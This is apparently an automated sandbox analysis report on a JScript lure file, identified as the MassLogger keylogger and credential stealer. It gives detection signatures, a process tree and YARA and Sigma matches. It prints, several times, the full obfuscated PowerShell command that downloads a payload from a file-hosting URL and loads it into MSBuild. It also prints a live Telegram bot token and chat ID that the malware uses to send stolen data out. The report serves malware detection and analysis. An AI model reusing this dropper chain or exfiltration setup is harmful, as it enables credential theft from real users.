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Windows Analysis Report
DHl-Global-Documents.js

Overview

General Information

Sample name:	DHl-Global-Documents.js
Analysis ID:	1618872
MD5:	b1d0c2969f79c438b3a2e6c4466850d5
SHA1:	e0ed1d9756450b4e46a33f332a38a2d65a989d90
SHA256:	06579997178921c0ae2f9702de7abf0987111277b4caa4bf1cc903d9279c9f6d
Tags:	jsuser-TeamDreier
Infos:

Detection

MassLogger RAT

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

JScript performs obfuscated calls to suspicious functions

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Powershell download and load assembly

Suricata IDS alerts for network traffic

Yara detected MassLogger RAT

Yara detected Powershell download and execute

Yara detected Telegram RAT

.NET source code references suspicious native API functions

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sample has a suspicious name (potential lure to open the executable)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Silenttrinity Stager Msbuild Activity

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

JavaScript source code contains large arrays or strings with random content potentially encoding malicious code

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7416 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DHl-Global-Documents.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7528 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = New-Object System.Net.WebClient;$unturf = $nonsymmetrical.DownloadData($Erlenmeyer);$aspectabund = [System.Text.Encoding]::UTF8.GetString($unturf);$cristiform = '<<BASE64_START>>';$doura = '<<BASE64_END>>';$postmodifier = $aspectabund.IndexOf($cristiform);$propylaeum = $aspectabund.IndexOf($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.Length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.Substring($postmodifier, $thoracici);$huhus = [System.Convert]::FromBase64String($tattooings);$homotaxic = [System.Reflection.Assembly]::Load($huhus);$nonrehydrated = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($emasculation,'','','','MSBuild','','','','','','','','','',''))" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 7752 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Configuration

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7950334281:AAHp9dAAfHNwUHbGM-dLD_Mx8gH7uJ3FUPE", "Telegram Chatid": "7273417767"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.2951462853.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000003.00000002.2951462853.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2951462853.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.2951462853.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xefdf:$a1: get_encryptedPassword 0xf307:$a2: get_encryptedUsername 0xed7a:$a3: get_timePasswordChanged 0xee9b:$a4: get_passwordField 0xeff5:$a5: set_encryptedPassword 0x10951:$a7: get_logins 0x10602:$a8: GetOutlookPasswords 0x103f4:$a9: StartKeylogger 0x108a1:$a10: KeyLoggerEventArgs 0x10451:$a11: KeyLoggerEventArgsEventHandler
00000003.00000002.2955066393.0000000002B98000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.1827359098.000001A457F7C000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x83c6c7:$a1: get_encryptedPassword 0x8532ff:$a1: get_encryptedPassword 0x83c9ef:$a2: get_encryptedUsername 0x853627:$a2: get_encryptedUsername 0x83c462:$a3: get_timePasswordChanged 0x85309a:$a3: get_timePasswordChanged 0x83c583:$a4: get_passwordField 0x8531bb:$a4: get_passwordField 0x83c6dd:$a5: set_encryptedPassword 0x853315:$a5: set_encryptedPassword 0x83e039:$a7: get_logins 0x854c71:$a7: get_logins 0x83dcea:$a8: GetOutlookPasswords 0x854922:$a8: GetOutlookPasswords 0x83dadc:$a9: StartKeylogger 0x854714:$a9: StartKeylogger 0x83df89:$a10: KeyLoggerEventArgs 0x854bc1:$a10: KeyLoggerEventArgs 0x83db39:$a11: KeyLoggerEventArgsEventHandler 0x854771:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: wscript.exe PID: 7416	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7528	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7528	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: powershell.exe PID: 7528	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 7528	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: powershell.exe PID: 7528	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xe128d7:$a1: get_encryptedPassword 0xe12aba:$a2: get_encryptedUsername 0xe126c8:$a3: get_timePasswordChanged 0xe127dd:$a4: get_passwordField 0xe128ed:$a5: set_encryptedPassword 0xe1395c:$a7: get_logins 0xe136e5:$a8: GetOutlookPasswords 0xe13589:$a9: StartKeylogger 0xe138b6:$a10: KeyLoggerEventArgs 0xe135e6:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: powershell.exe PID: 7528	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x193fe:$b2: ::FromBase64String( 0x19846:$b2: ::FromBase64String( 0x19e91:$b2: ::FromBase64String( 0x1a494:$b2: ::FromBase64String( 0x30bfd:$b2: ::FromBase64String( 0x3129e:$b2: ::FromBase64String( 0x316ea:$b2: ::FromBase64String( 0x55f323:$b2: ::FromBase64String( 0x55f769:$b2: ::FromBase64String( 0x5c7ba6:$b2: ::FromBase64String( 0x5c7fec:$b2: ::FromBase64String( 0x5c9c04:$b2: ::FromBase64String( 0x761b54:$b2: ::FromBase64String( 0x761f9a:$b2: ::FromBase64String( 0x767b00:$b2: ::FromBase64String( 0x7692ac:$b2: ::FromBase64String( 0x7696b1:$b2: ::FromBase64String( 0x76e1e0:$b2: ::FromBase64String( 0xaae3d9:$b2: ::FromBase64String( 0xab5a46:$b2: ::FromBase64String( 0xe31bcd:$b2: ::FromBase64String(
Process Memory Space: MSBuild.exe PID: 7752	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: MSBuild.exe PID: 7752	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 7752	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: MSBuild.exe PID: 7752	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xc74f:$a1: get_encryptedPassword 0xca68:$a2: get_encryptedUsername 0xc4fe:$a3: get_timePasswordChanged 0xc61f:$a4: get_passwordField 0xc765:$a5: set_encryptedPassword 0xe068:$a7: get_logins 0xdd19:$a8: GetOutlookPasswords 0xdb0b:$a9: StartKeylogger 0xdfb8:$a10: KeyLoggerEventArgs 0xdb68:$a11: KeyLoggerEventArgsEventHandler
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.MSBuild.exe.400000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
3.2.MSBuild.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.MSBuild.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
3.2.MSBuild.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1df:$a1: get_encryptedPassword 0xf507:$a2: get_encryptedUsername 0xef7a:$a3: get_timePasswordChanged 0xf09b:$a4: get_passwordField 0xf1f5:$a5: set_encryptedPassword 0x10b51:$a7: get_logins 0x10802:$a8: GetOutlookPasswords 0x105f4:$a9: StartKeylogger 0x10aa1:$a10: KeyLoggerEventArgs 0x10651:$a11: KeyLoggerEventArgsEventHandler
3.2.MSBuild.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1418b:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13689:$a3: \Google\Chrome\User Data\Default\Login Data 0x13997:$a4: \Orbitum\User Data\Default\Login Data 0x1478f:$a5: \Kometa\User Data\Default\Login Data
1.2.powershell.exe.1a4587a94e8.6.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
1.2.powershell.exe.1a4587a94e8.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.powershell.exe.1a4587a94e8.6.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.powershell.exe.1a4587a94e8.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd3df:$a1: get_encryptedPassword 0xd707:$a2: get_encryptedUsername 0xd17a:$a3: get_timePasswordChanged 0xd29b:$a4: get_passwordField 0xd3f5:$a5: set_encryptedPassword 0xed51:$a7: get_logins 0xea02:$a8: GetOutlookPasswords 0xe7f4:$a9: StartKeylogger 0xeca1:$a10: KeyLoggerEventArgs 0xe851:$a11: KeyLoggerEventArgsEventHandler
1.2.powershell.exe.1a4587a94e8.6.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1238b:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11889:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b97:$a4: \Orbitum\User Data\Default\Login Data 0x1298f:$a5: \Kometa\User Data\Default\Login Data
1.2.powershell.exe.1a4587a94e8.6.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
1.2.powershell.exe.1a4587a94e8.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.powershell.exe.1a4587a94e8.6.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.powershell.exe.1a4587a94e8.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf1df:$a1: get_encryptedPassword 0x25e17:$a1: get_encryptedPassword 0xf507:$a2: get_encryptedUsername 0x2613f:$a2: get_encryptedUsername 0xef7a:$a3: get_timePasswordChanged 0x25bb2:$a3: get_timePasswordChanged 0xf09b:$a4: get_passwordField 0x25cd3:$a4: get_passwordField 0xf1f5:$a5: set_encryptedPassword 0x25e2d:$a5: set_encryptedPassword 0x10b51:$a7: get_logins 0x27789:$a7: get_logins 0x10802:$a8: GetOutlookPasswords 0x2743a:$a8: GetOutlookPasswords 0x105f4:$a9: StartKeylogger 0x2722c:$a9: StartKeylogger 0x10aa1:$a10: KeyLoggerEventArgs 0x276d9:$a10: KeyLoggerEventArgs 0x10651:$a11: KeyLoggerEventArgsEventHandler 0x27289:$a11: KeyLoggerEventArgsEventHandler
1.2.powershell.exe.1a4587a94e8.6.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1418b:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x2adc3:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13689:$a3: \Google\Chrome\User Data\Default\Login Data 0x2a2c1:$a3: \Google\Chrome\User Data\Default\Login Data 0x13997:$a4: \Orbitum\User Data\Default\Login Data 0x2a5cf:$a4: \Orbitum\User Data\Default\Login Data 0x1478f:$a5: \Kometa\User Data\Default\Login Data 0x2b3c7:$a5: \Kometa\User Data\Default\Login Data
1.2.powershell.exe.1a458530838.5.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
1.2.powershell.exe.1a458530838.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.powershell.exe.1a458530838.5.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.powershell.exe.1a458530838.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x287e8f:$a1: get_encryptedPassword 0x29eac7:$a1: get_encryptedPassword 0x2881b7:$a2: get_encryptedUsername 0x29edef:$a2: get_encryptedUsername 0x287c2a:$a3: get_timePasswordChanged 0x29e862:$a3: get_timePasswordChanged 0x287d4b:$a4: get_passwordField 0x29e983:$a4: get_passwordField 0x287ea5:$a5: set_encryptedPassword 0x29eadd:$a5: set_encryptedPassword 0x289801:$a7: get_logins 0x2a0439:$a7: get_logins 0x2894b2:$a8: GetOutlookPasswords 0x2a00ea:$a8: GetOutlookPasswords 0x2892a4:$a9: StartKeylogger 0x29fedc:$a9: StartKeylogger 0x289751:$a10: KeyLoggerEventArgs 0x2a0389:$a10: KeyLoggerEventArgs 0x289301:$a11: KeyLoggerEventArgsEventHandler 0x29ff39:$a11: KeyLoggerEventArgsEventHandler
Click to see the 14 entries

Other

Source	Rule	Description	Author	Strings
amsi64_7528.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = New-Object System.Net.WebClient;$unturf = $nonsymmetrical.DownloadData($Erlenmeyer);$aspectabund = [System.Text.Encoding]::UTF8.GetString($unturf);$cristiform = '<<BASE64_START>>';$doura = '<<BASE64_END>>';$postmodifier = $aspectabund.IndexOf($cristiform);$propylaeum = $aspectabund.IndexOf($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.Length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.Substring($postmodifier, $thoracici);$huhus = [System.Convert]::FromBase64String($tattooings);$homotaxic = [System.Reflection.Assembly]::Load($huhus);$nonrehydrated = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($emasculation,'','','','MSBuild','','','','','','','','','',''))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = New-Object System.Net.WebClient;$unturf = $nonsymmetrical.DownloadData($Erlenmeyer);$aspectabund = [System.Text.Encoding]::UTF8.GetString($unturf);$cristiform = '<<BASE64_START>>';$doura = '<<BASE64_END>>';$postmodifier = $aspectabund.IndexOf($cristiform);$propylaeum = $aspectabund.IndexOf($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.Length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.Substring($postmodifier, $thoracici);$huhus = [System.Convert]::FromBase64String($tattooings);$homotaxic = [System.Reflection.Assembly]::Load($huhus);$nonrehydrated = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($emasculation,'','','','MSBuild','','','','','','','','','',''))", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DHl-Global-Documents.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5Kcp

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 158.101.44.242, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 7752, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49733

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DHl-Global-Documents.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DHl-Global-Documents.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DHl-Global-Documents.js", ProcessId: 7416, ProcessName: wscript.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = New-Object System.Net.WebClient;$unturf = $nonsymmetrical.DownloadData($Erlenmeyer);$aspectabund = [System.Text.Encoding]::UTF8.GetString($unturf);$cristiform = '<<BASE64_START>>';$doura = '<<BASE64_END>>';$postmodifier = $aspectabund.IndexOf($cristiform);$propylaeum = $aspectabund.IndexOf($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.Length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.Substring($postmodifier, $thoracici);$huhus = [System.Convert]::FromBase64String($tattooings);$homotaxic = [System.Reflection.Assembly]::Load($huhus);$nonrehydrated = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($emasculation,'','','','MSBuild','','','','','','','','','',''))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = New-Object System.Net.WebClient;$unturf = $nonsymmetrical.DownloadData($Erlenmeyer);$aspectabund = [System.Text.Encoding]::UTF8.GetString($unturf);$cristiform = '<<BASE64_START>>';$doura = '<<BASE64_END>>';$postmodifier = $aspectabund.IndexOf($cristiform);$propylaeum = $aspectabund.IndexOf($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.Length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.Substring($postmodifier, $thoracici);$huhus = [System.Convert]::FromBase64String($tattooings);$homotaxic = [System.Reflection.Assembly]::Load($huhus);$nonrehydrated = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($emasculation,'','','','MSBuild','','','','','','','','','',''))", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DHl-Global-Documents.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5Kcp

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DHl-Global-Documents.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DHl-Global-Documents.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DHl-Global-Documents.js", ProcessId: 7416, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = New-Object System.Net.WebClient;$unturf = $nonsymmetrical.DownloadData($Erlenmeyer);$aspectabund = [System.Text.Encoding]::UTF8.GetString($unturf);$cristiform = '<<BASE64_START>>';$doura = '<<BASE64_END>>';$postmodifier = $aspectabund.IndexOf($cristiform);$propylaeum = $aspectabund.IndexOf($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.Length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.Substring($postmodifier, $thoracici);$huhus = [System.Convert]::FromBase64String($tattooings);$homotaxic = [System.Reflection.Assembly]::Load($huhus);$nonrehydrated = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($emasculation,'','','','MSBuild','','','','','','','','','',''))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = New-Object System.Net.WebClient;$unturf = $nonsymmetrical.DownloadData($Erlenmeyer);$aspectabund = [System.Text.Encoding]::UTF8.GetString($unturf);$cristiform = '<<BASE64_START>>';$doura = '<<BASE64_END>>';$postmodifier = $aspectabund.IndexOf($cristiform);$propylaeum = $aspectabund.IndexOf($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.Length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.Substring($postmodifier, $thoracici);$huhus = [System.Convert]::FromBase64String($tattooings);$homotaxic = [System.Reflection.Assembly]::Load($huhus);$nonrehydrated = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($emasculation,'','','','MSBuild','','','','','','','','','',''))", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DHl-Global-Documents.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5Kcp

Data Obfuscation

Sigma detected: Powershell download and load assembly

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$nonsymmetrical = New-Object System.Net.WebClient;$unturf = $nonsymmetrical.DownloadData($Erlenmeyer);$aspectabund = [System.Text.Encoding]::UTF8.GetString($unturf);$cristiform = '<<BASE64_START>>';$doura = '<<BASE64_END>>';$postmodifier = $aspectabund.IndexOf($cristiform);$propylaeum = $aspectabund.IndexOf($doura);$postmodifier -ge 0 -and $propylaeum -gt $postmodifier;$postmodifier += $cristiform.Length;$thoracici = $propylaeum - $postmodifier;$tattooings = $aspectabund.Substring($postmodifier, $thoracici);$huhus = [System.Convert]::FromBase64String($tattooings);$homotaxic = [System.Reflection.Assembly]::Load($huhus);$nonrehydrated = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($emasculation,'','','','MSBuild','','','','','','','','','',''))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$rhizocrinus = '#x#.kes/moc.milezug#emsik//:sp##h';$emasculation = $rhizocrinus -replace '#', 't';$Erlenmeyer = 